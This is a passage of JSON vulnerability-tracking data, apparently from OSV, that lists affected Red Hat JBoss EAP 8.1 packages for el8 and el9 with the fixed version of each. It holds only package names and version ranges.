Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jackson-jaxrs-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jackson-jaxrs-json-provider","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jackson-jaxrs-providers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jackson-module-jakarta-xmlbind-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jackson-modules-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jackson-modules-java8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jakarta-xml-bind-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.5-1.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jaxb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jaxb-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jaxb-jxc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jaxb-runtime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jaxb-xjc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jaxbintros","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.1.0-1.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jboss-logging","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.6.3-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jboss-remoting","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.0.31-1.SP2_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jbossws-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.0-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jbossws-common-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jbossws-cxf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.0-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jbossws-jaxws-undertow-httpspi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.1-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jbossws-spi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.0-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-jsf-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.11-2.SP1_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-log4j","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.25.4-1.redhat_00003.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-neethi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.2-1.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-transport-native-epoll-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.136-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-nimbus-jose-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:9.37.4-1.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-parsson","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.9-1.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-relaxng-datatype","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-rngom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-saaj-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.6-1.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-slf4j","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.0.18-1.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-slf4j-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.0.18-1.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-txw2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-undertow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.3.26-2.SP3_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-wildfly","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.8-9.GA_redhat_00006.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-wildfly-elytron","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.11-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-wildfly-elytron-tool","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.11-1.Final_redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-wildfly-java-jdk17","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.8-9.GA_redhat_00006.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-wildfly-java-jdk21","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.8-9.GA_redhat_00006.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-wildfly-javadocs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.1-12.GA_redhat_00048.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-wildfly-modules","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.8-9.GA_redhat_00006.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-ws-commons-XmlSchema","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.3.2-1.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-xml-security","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.6-1.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el8","package":"eap8-xsom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el8eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-activemq-artemis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-activemq-artemis-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-activemq-artemis-commons","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-activemq-artemis-core-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-activemq-artemis-dto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-activemq-artemis-hornetq-protocol","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-activemq-artemis-hqclient-protocol","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-activemq-artemis-jakarta-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-activemq-artemis-jakarta-ra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-activemq-artemis-jakarta-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-activemq-artemis-jakarta-service-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-activemq-artemis-jdbc-store","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-activemq-artemis-journal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-activemq-artemis-selector","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-activemq-artemis-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.40.0-8.redhat_00024.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-apache-cxf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.7-1.SP1_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-apache-cxf-rt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.7-1.SP1_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-apache-cxf-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.7-1.SP1_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-apache-cxf-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.7-1.SP1_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-artemis-wildfly-integration","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.0.5-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-bouncycastle","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.85.0-1.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-bouncycastle-jmail","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.85.0-1.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-bouncycastle-pg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.85.0-1.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-bouncycastle-pkix","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.85.0-1.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-bouncycastle-prov","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.85.0-1.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-bouncycastle-util","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.85.0-1.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-codemodel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.0.7-4.redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-cryptacular","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.2.7-1.redhat_00002.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-eap-product-conf-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:801.8.0-1.GA_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-eap-product-conf-wildfly-ee-feature-pack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:801.8.0-1.GA_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-hibernate","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.6.54-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-hibernate-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.6.54-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-hibernate-envers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.6.54-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-httpcomponents-asyncclient","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.5-5.redhat_00008.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-ironjacamar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-ironjacamar-common-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-ironjacamar-common-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-ironjacamar-common-spi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-ironjacamar-core-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-ironjacamar-core-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-ironjacamar-deployers-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-ironjacamar-jdbc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-ironjacamar-validator","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.0.22-1.Final_redhat_00001.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jackson-dataformat-yaml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jackson-dataformats-text","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jackson-datatype-jdk8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jackson-datatype-jsr310","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jackson-jaxrs-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-jackson-jaxrs-json-provider","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.9-1.redhat_00003.1.el9eap"}]}],"bundled":36},{"source":"osv","ecosystem":"Red 